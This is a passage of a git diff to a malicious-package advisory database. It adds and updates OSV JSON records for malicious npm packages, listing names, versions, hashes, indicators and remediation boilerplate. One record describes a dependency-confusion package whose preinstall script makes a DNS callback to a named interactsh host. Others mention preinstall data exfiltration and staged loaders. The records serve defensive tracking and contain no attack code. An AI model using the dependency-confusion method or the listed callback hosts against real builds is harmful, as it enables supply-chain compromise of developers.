REF8801)","paths":["exegis.exe"],"source":"DROPPED"},{"digests":{"sha256":"ed5cb4af1d2cb067b8d23783ebf05d70278728462ba4f1bf29da0a3a41efc35e"},"note":"Encrypted third stage, decrypted by the second-stage Python loader (Elastic Security Labs REF8801)","paths":["enc_loader.exe"],"source":"DROPPED"}]},"malicious-packages-origins":[{"id":"IN-MAL-2026-021714","import_time":"2026-10-26T05:46:51.924994062Z","modified_time":"2026-10-26T05:25:44Z","sha256":"220b2bfd948cbd511add6ba3b2a2ea467defeb99a6855ed9ee0690891cedee5d","source":"amazon-inspector","versions":["1.5.121"]},{"id":"IN-MAL-2026-021711","import_time":"2026-10-26T05:46:51.792226934Z","modified_time":"2026-10-26T05:25:19Z","sha256":"3af6be5dcde1648332ab0eb8b252bb90e33bc2b39452e5b83042b0481bfed5ed","source":"amazon-inspector","versions":["1.6.0"]},{"id":"IN-MAL-2026-021712","import_time":"2026-10-26T05:46:51.826689409Z","modified_time":"2026-10-26T05:25:29Z","sha256":"42f41fbd2bc4a7faba3977f190eb65c22f835f8a3b073be64d0d9c0c95a9c747","source":"amazon-inspector","versions":["1.6.2"]},{"id":"IN-MAL-2026-021713","import_time":"2026-10-26T05:46:51.870027938Z","modified_time":"2026-10-26T05:25:36Z","sha256":"c174007782646e1fdfd9806ecd699e427fd36661dd7137fa462672f41aee6e79","source":"amazon-inspector","versions":["1.5.122"]},{"id":"GHSA-pg98-9cmp-wcf5","import_time":"2026-11-10T23:17:30.208128929Z","modified_time":"2026-11-10T22:34:25Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"c543d5d4151098f75eb872d9a89e85cb07bc9fd252b5daf80e0858eb18ee3c27","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Elastic Security Labs (Jia Yu Chan, Daniel Stepanic)","contact":["https://www.elastic.co/security-labs/threat-command/apex-accelerator-malicious-npm-packages"],"type":"FINDER"},{"name":"Patrick Duggan, DugganUSA","contact":["mailto:patrick@dugganusa.com"],"type":"REPORTER"}]}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-18448.json b/data/npm/MAL-2026-18448.json
index dd9086a2d9..8c0c8cf6f7 100644
--- a/data/npm/MAL-2026-18448.json
+++ b/data/npm/MAL-2026-18448.json
@@ -1 +1 @@
-{"schema_version":"1.9.2","id":"MAL-2026-18448","published":"2026-10-29T15:19:02Z","modified":"2026-11-02T05:30:05.699365843Z","summary":"Malicious code in @mobile-platform/magnetic-components (npm)","details":"@mobile-platform/magnetic-components is a dependency-confusion package: its description says the scoped name is referenced in the Meraki Dashboard Android app's bundled JavaScript and was unclaimed on the public registry, so a build that resolves `@mobile-platform` from npm runs its code instead of the intended private package. Its preinstall script runs `node preinstall.js` on npm install; in 0.0.1 and 0.0.2 it writes `DEPENDENCY_CONFUSION_POC_MARKER.txt` into the working directory, and in 0.0.3 it makes a DNS lookup of a fixed subdomain of `dbhmeq71af5395un3p70tujr84cuwuyg7.oast.me`, an interactsh callback host, signalling that the package was installed. It sends no host data beyond the lookup itself, but unreviewed code from an outside publisher has run with the installing user's privileges. The npm account io-8 published the three versions on 2026-10-29.","affected":[{"package":{"name":"@mobile-platform/magnetic-components","ecosystem":"npm","purl":"pkg:npm/%40mobile-platform/magnetic-components"},"versions":["0.0.1","0.0.2","0.0.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@mobile-platform/magnetic-components/MAL-2026-18448.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@mobile-platform/magnetic-components"}],"database_specific":{"iocs":{"domains":["dbhmeq71af5395un3p70tujr84cuwuyg7.oast.me"],"files":[{"digests":{"sha256":"b05b2de35c5389f706fe6eee9828ac202d7b35515ef9a0a23dbee6f5403e92fb"},"note":"preinstall runs `node preinstall.js` (@mobile-platform/magnetic-components@0.0.1).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"322393c3bedbac6de7e38a571c143fe6a5784d0b882ceb79397d762bdd8a2626"},"note":"Executed by the preinstall script of @mobile-platform/magnetic-components@0.0.1.","paths":["preinstall.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"ea24f367887b542a1bdd9e3e016e0a5facf4b85be726a028e4b7763c7bee6b03"},"note":"preinstall runs `node preinstall.js` (@mobile-platform/magnetic-components@0.0.2).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"322393c3bedbac6de7e38a571c143fe6a5784d0b882ceb79397d762bdd8a2626"},"note":"Executed by the preinstall script of @mobile-platform/magnetic-components@0.0.2.","paths":["preinstall.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"2aa36d500c4a7b8551e5e7e6bbbf6b9cfe524712433b637eec4deda8483ebe39"},"note":"preinstall runs `node preinstall.js` (@mobile-platform/magnetic-components@0.0.3).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"a3579427acd74986af891231ebf87f4dd2649b831c11203df0d887dcbb79513c"},"note":"Executed by the preinstall script of @mobile-platform/magnetic-components@0.0.3.","paths":["preinstall.js"],"source":"PACKAGE_ARCHIVE"}]}},"credits":[{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"MAL-2026-18448","published":"2026-10-29T15:19:02Z","modified":"2026-11-10T23:30:03.327475155Z","aliases":["GHSA-fmr2-gc7p-wpc7"],"summary":"Malicious code in @mobile-platform/magnetic-components (npm)","details":"@mobile-platform/magnetic-components is a dependency-confusion package: its description says the scoped name is referenced in the Meraki Dashboard Android app's bundled JavaScript and was unclaimed on the public registry, so a build that resolves `@mobile-platform` from npm runs its code instead of the intended private package. Its preinstall script runs `node preinstall.js` on npm install; in 0.0.1 and 0.0.2 it writes `DEPENDENCY_CONFUSION_POC_MARKER.txt` into the working directory, and in 0.0.3 it makes a DNS lookup of a fixed subdomain of `dbhmeq71af5395un3p70tujr84cuwuyg7.oast.me`, an interactsh callback host, signalling that the package was installed. It sends no host data beyond the lookup itself, but unreviewed code from an outside publisher has run with the installing user's privileges. The npm account io-8 published the three versions on 2026-10-29.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (9594fe5dcfe6dbe11568cb09f324f04b3050c8e19ef0a0523d63e0ba88d16ff9)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@mobile-platform/magnetic-components","ecosystem":"npm","purl":"pkg:npm/%40mobile-platform/magnetic-components"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.1","0.0.2","0.0.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@mobile-platform/magnetic-components/MAL-2026-18448.json"}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@mobile-platform/magnetic-components"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-fmr2-gc7p-wpc7"}],"database_specific":{"iocs":{"domains":["dbhmeq71af5395un3p70tujr84cuwuyg7.oast.me"],"files":[{"digests":{"sha256":"b05b2de35c5389f706fe6eee9828ac202d7b35515ef9a0a23dbee6f5403e92fb"},"note":"preinstall runs `node preinstall.js` (@mobile-platform/magnetic-components@0.0.1).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"322393c3bedbac6de7e38a571c143fe6a5784d0b882ceb79397d762bdd8a2626"},"note":"Executed by the preinstall script of @mobile-platform/magnetic-components@0.0.1.","paths":["preinstall.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"ea24f367887b542a1bdd9e3e016e0a5facf4b85be726a028e4b7763c7bee6b03"},"note":"preinstall runs `node preinstall.js` (@mobile-platform/magnetic-components@0.0.2).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"322393c3bedbac6de7e38a571c143fe6a5784d0b882ceb79397d762bdd8a2626"},"note":"Executed by the preinstall script of @mobile-platform/magnetic-components@0.0.2.","paths":["preinstall.js"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"2aa36d500c4a7b8551e5e7e6bbbf6b9cfe524712433b637eec4deda8483ebe39"},"note":"preinstall runs `node preinstall.js` (@mobile-platform/magnetic-components@0.0.3).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"},{"digests":{"sha256":"a3579427acd74986af891231ebf87f4dd2649b831c11203df0d887dcbb79513c"},"note":"Executed by the preinstall script of @mobile-platform/magnetic-components@0.0.3.","paths":["preinstall.js"],"source":"PACKAGE_ARCHIVE"}]},"malicious-packages-origins":[{"id":"GHSA-fmr2-gc7p-wpc7","import_time":"2026-11-10T23:17:30.193901378Z","modified_time":"2026-11-10T22:24:01Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"9594fe5dcfe6dbe11568cb09f324f04b3050c8e19ef0a0523d63e0ba88d16ff9","source":"ghsa-malware"}]},"credits":[{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19094.json b/data/npm/MAL-2026-19094.json
new file mode 100644
index 0000000000..99866c4a4e
--- /dev/null
+++ b/data/npm/MAL-2026-19094.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19094","published":"2026-11-10T20:48:09Z","modified":"2026-11-10T21:30:05.432952652Z","aliases":["GHSA-wfqq-mfhj-vpr2"],"summary":"Malicious code in health-relay-client (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (c6e8bbff6fa5aae1c7c050c63db277bfc1ac21694f9c4fcb188299b048da9640)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"health-relay-client","ecosystem":"npm","purl":"pkg:npm/health-relay-client"},"versions":["1.0.4","1.0.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/health-relay-client/MAL-2026-19094.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wfqq-mfhj-vpr2"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-wfqq-mfhj-vpr2","import_time":"2026-11-10T21:16:53.478865266Z","modified_time":"2026-11-10T20:48:10Z","sha256":"c6e8bbff6fa5aae1c7c050c63db277bfc1ac21694f9c4fcb188299b048da9640","source":"ghsa-malware","versions":["1.0.4","1.0.3"]}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19095.json b/data/npm/MAL-2026-19095.json
new file mode 100644
index 0000000000..e583c9a228
--- /dev/null
+++ b/data/npm/MAL-2026-19095.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19095","published":"2026-11-10T22:06:21Z","modified":"2026-11-10T22:30:04.224813458Z","aliases":["GHSA-w584-99h6-6g9r"],"summary":"Malicious code in @rclaude/win32-x64 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (cd858623f60706d20738ee99009d20d9a2922472a9218d93df227dac1db66b5b)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@rclaude/win32-x64","ecosystem":"npm","purl":"pkg:npm/%40rclaude/win32-x64"},"versions":["0.2.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@rclaude/win32-x64/MAL-2026-19095.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w584-99h6-6g9r"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-w584-99h6-6g9r","import_time":"2026-11-10T22:17:23.507905808Z","modified_time":"2026-11-10T22:06:22Z","sha256":"cd858623f60706d20738ee99009d20d9a2922472a9218d93df227dac1db66b5b","source":"ghsa-malware","versions":["0.2.1"]}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19096.json b/data/npm/MAL-2026-19096.json
new file mode 100644
index 0000000000..725c581d9d
--- /dev/null
+++ b/data/npm/MAL-2026-19096.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19096","published":"2026-11-10T21:19:15Z","modified":"2026-11-10T22:30:04.223056714Z","aliases":["GHSA-5mg5-p59w-76r5"],"summary":"Malicious code in react-svg-chunk (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (187ada1449be0fbb2c6b4faa68a5cb801c33a035ceb8a952c7ea127fa0faa993)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"react-svg-chunk","ecosystem":"npm","purl":"pkg:npm/react-svg-chunk"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-svg-chunk/MAL-2026-19096.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5mg5-p59w-76r5"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-5mg5-p59w-76r5","import_time":"2026-11-10T22:17:23.460172095Z","modified_time":"2026-11-10T21:19:16Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"187ada1449be0fbb2c6b4faa68a5cb801c33a035ceb8a952c7ea127fa0faa993","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19097.json b/data/npm/MAL-2026-19097.json
new file mode 100644
index 0000000000..e6d1094861
--- /dev/null
+++ b/data/npm/MAL-2026-19097.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19097","published":"2026-11-10T22:14:10Z","modified":"2026-11-10T22:30:04.275943835Z","aliases":["GHSA-p4j3-63x4-qr3v"],"summary":"Malicious code in solvit-cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (3b270954337a28d1b72f04e9bacc53c50aee3b15907ed8a3b4969dc486b40725)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"solvit-cli","ecosystem":"npm","purl":"pkg:npm/solvit-cli"},"versions":["0.5.0","0.4.4","0.4.3","0.4.2","0.2.1","0.1.2","0.1.1","0.1.0","0.0.0-stage"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/solvit-cli/MAL-2026-19097.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p4j3-63x4-qr3v"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-p4j3-63x4-qr3v","import_time":"2026-11-10T22:17:23.497283903Z","modified_time":"2026-11-10T22:14:11Z","sha256":"3b270954337a28d1b72f04e9bacc53c50aee3b15907ed8a3b4969dc486b40725","source":"ghsa-malware","versions":["0.5.0","0.4.4","0.4.3","0.4.2","0.2.1","0.1.2","0.1.1","0.1.0","0.0.0-stage"]}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19098.json b/data/npm/MAL-2026-19098.json
new file mode 100644
index 0000000000..9adfd4b896
--- /dev/null
+++ b/data/npm/MAL-2026-19098.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19098","published":"2026-11-10T22:54:07Z","modified":"2026-11-10T23:30:03.211838613Z","aliases":["GHSA-hwgp-r9x8-49cx"],"summary":"Malicious code in baidu-ti (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (3b7e5e1d660ae08477b2cc28649e9f689a3e5a9a0edd3967d520468b1f70117c)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"baidu-ti","ecosystem":"npm","purl":"pkg:npm/baidu-ti"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/baidu-ti/MAL-2026-19098.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hwgp-r9x8-49cx"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-hwgp-r9x8-49cx","import_time":"2026-11-10T23:17:30.201063843Z","modified_time":"2026-11-10T22:54:07Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"3b7e5e1d660ae08477b2cc28649e9f689a3e5a9a0edd3967d520468b1f70117c","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19099.json b/data/npm/MAL-2026-19099.json
new file mode 100644
index 0000000000..0bb0aa7ec0
--- /dev/null
+++ b/data/npm/MAL-2026-19099.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19099","published":"2026-11-10T22:22:19Z","modified":"2026-11-10T23:30:03.210757096Z","aliases":["GHSA-pmjf-g9mp-9hrr"],"summary":"Malicious code in hissakdx-wix-ssr-callback-canary (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (478c6e8fb729d3310647b40d0dffe6530437f79106afbdaddbca8b924608f4d5)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"hissakdx-wix-ssr-callback-canary","ecosystem":"npm","purl":"pkg:npm/hissakdx-wix-ssr-callback-canary"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hissakdx-wix-ssr-callback-canary/MAL-2026-19099.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pmjf-g9mp-9hrr"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-pmjf-g9mp-9hrr","import_time":"2026-11-10T23:17:30.20965974Z","modified_time":"2026-11-10T22:22:24Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"478c6e8fb729d3310647b40d0dffe6530437f79106afbdaddbca8b924608f4d5","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19100.json b/data/npm/MAL-2026-19100.json
new file mode 100644
index 0000000000..6b28004e82
--- /dev/null
+++ b/data/npm/MAL-2026-19100.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19100","published":"2026-11-10T22:21:24Z","modified":"2026-11-10T23:30:03.220202681Z","aliases":["GHSA-hc34-qc67-9qp4"],"summary":"Malicious code in read-react-app-in (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (26e0edc20779ff037012127f0eeaf51de67c8f7b30ebe52d63866c6b4d476d83)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"read-react-app-in","ecosystem":"npm","purl":"pkg:npm/read-react-app-in"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/read-react-app-in/MAL-2026-19100.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hc34-qc67-9qp4"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-hc34-qc67-9qp4","import_time":"2026-11-10T23:17:30.19959409Z","modified_time":"2026-11-10T22:21:25Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"26e0edc20779ff037012127f0eeaf51de67c8f7b30ebe52d63866c6b4d476d83","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19101.json b/data/npm/MAL-2026-19101.json
new file mode 100644
index 0000000000..6a974a4765
--- /dev/null
+++ b/data/npm/MAL-2026-19101.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19101","published":"2026-11-10T22:21:24Z","modified":"2026-11-10T23:30:03.286771153Z","aliases":["GHSA-wfm4-3cjm-9545"],"summary":"Malicious code in read-react-app-out (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (24b1bf27fec55a13b65c23b917d5ef520f226d260222d74d4efe79f2911e7f40)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"read-react-app-out","ecosystem":"npm","purl":"pkg:npm/read-react-app-out"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/read-react-app-out/MAL-2026-19101.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wfm4-3cjm-9545"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-wfm4-3cjm-9545","import_time":"2026-11-10T23:17:30.220568266Z","modified_time":"2026-11-10T22:21:24Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"24b1bf27fec55a13b65c23b917d5ef520f226d260222d74d4efe79f2911e7f40","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19102.json b/data/npm/MAL-2026-19102.json
new file mode 100644
index 0000000000..a4d93f73b8
--- /dev/null
+++ b/data/npm/MAL-2026-19102.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19102","published":"2026-11-10T22:21:24Z","modified":"2026-11-10T23:30:03.293195875Z","aliases":["GHSA-rf9p-c6g8-r84w"],"summary":"Malicious code in read-react-app-test (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (8949f2c689dac9e0a1dd63f41cfb03971981c139e04b4bd22ecd3b74cc6fc745)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"read-react-app-test","ecosystem":"npm","purl":"pkg:npm/read-react-app-test"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/read-react-app-test/MAL-2026-19102.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rf9p-c6g8-r84w"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-rf9p-c6g8-r84w","import_time":"2026-11-10T23:17:30.215355528Z","modified_time":"2026-11-10T22:21:24Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"8949f2c689dac9e0a1dd63f41cfb03971981c139e04b4bd22ecd3b74cc6fc745","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-19103.json b/data/npm/MAL-2026-19103.json
new file mode 100644
index 0000000000..8b60217e70
--- /dev/null
+++ b/data/npm/MAL-2026-19103.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"MAL-2026-19103","published":"2026-11-10T22:22:19Z","modified":"2026-11-10T23:30:03.215719636Z","aliases":["GHSA-2wg4-r52x-r477"],"summary":"Malicious code in selectlist-polyfill-lite (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (218352b39c5ccdb5b603c057d80cc73b3541309ca18aadb008f2ef2ed438ef30)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"selectlist-polyfill-lite","ecosystem":"npm","purl":"pkg:npm/selectlist-polyfill-lite"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/selectlist-polyfill-lite/MAL-2026-19103.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2wg4-r52x-r477"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-2wg4-r52x-r477","import_time":"2026-11-10T23:17:30.167334086Z","modified_time":"2026-11-10T22:22:20Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"218352b39c5ccdb5b603c057d80cc73b3541309ca18aadb008f2ef2ed438ef30","source":"ghsa-malware"}]}}
\ No newline at end of file
diff --git a/data/npm/MAL-2026-2497.json b/data/npm/MAL-2026-2497.json
index 96845a3d86..2e279bc714 100644
--- a/data/npm/MAL-2026-2497.json
+++ b/data/npm/MAL-2026-2497.json
@@ -1 +1 @@
-{"schema_version":"1.7.5","id":"MAL-2026-2497","published":"2026-04-06T09:11:24Z","modified":"2026-04-07T14:51:08.773993Z","summary":"Malicious code in commerce-utils (npm)","details":"Malicious package due to data exfiltration to a suspicious host, combined with arbitrary code execution during preinstall.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3bb3d6d3a8a8898abe7e371e54753d5902a5062151888ccff6c656f5edac6ba6)\nThe package commerce-utils was found to contain malicious code.\n","affected":[{"package":{"name":"commerce-utils","ecosystem":"npm","purl":"pkg:npm/commerce-utils"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/commerce-utils/MAL-2026-2497.json"}}],"references":[{"type":"REPORT","url":"https://app.safedep.io/community/malysis/01KNFFV2J9TJFEVM7P4RHQZQBY"}],"database_specific":{"malicious-packages-origins":[{"import_time":"2026-04-07T14:39:12.848201267Z","modified_time":"2026-04-07T14:24:50Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"3bb3d6d3a8a8898abe7e371e54753d5902a5062151888ccff6c656f5edac6ba6","source":"amazon-inspector"}]},"credits":[{"name":"Amazon Inspector","contact":["actran@amazon.com"],"type":"FINDER"},{"name":"SafeDep","contact":["https://safedep.io"],"type":"FINDER"}]}
\ No newline at end of file
+{"schema_version":"1.9.2","id":"MAL-2026-2497","published":"2026-04-06T09:11:24Z","modified":"2026-11-10T21:30:04.885610226Z","aliases":["GHSA-4m72-8w6v-x24q"],"summary":"Malicious code in commerce-utils (npm)","details":"Malicious package due to data exfiltration to a suspicious host, combined with arbitrary code execution during preinstall.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3bb3d6d3a8a8898abe7e371e54753d5902a5062151888ccff6c656f5edac6ba6)\nThe package commerce-utils was found to contain malicious code.\n\n## Source: ghsa-malware (96bc23613e41a01d93bddc7a544fcfdf7cf308051171c1c290527b0a7c9ed747)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing 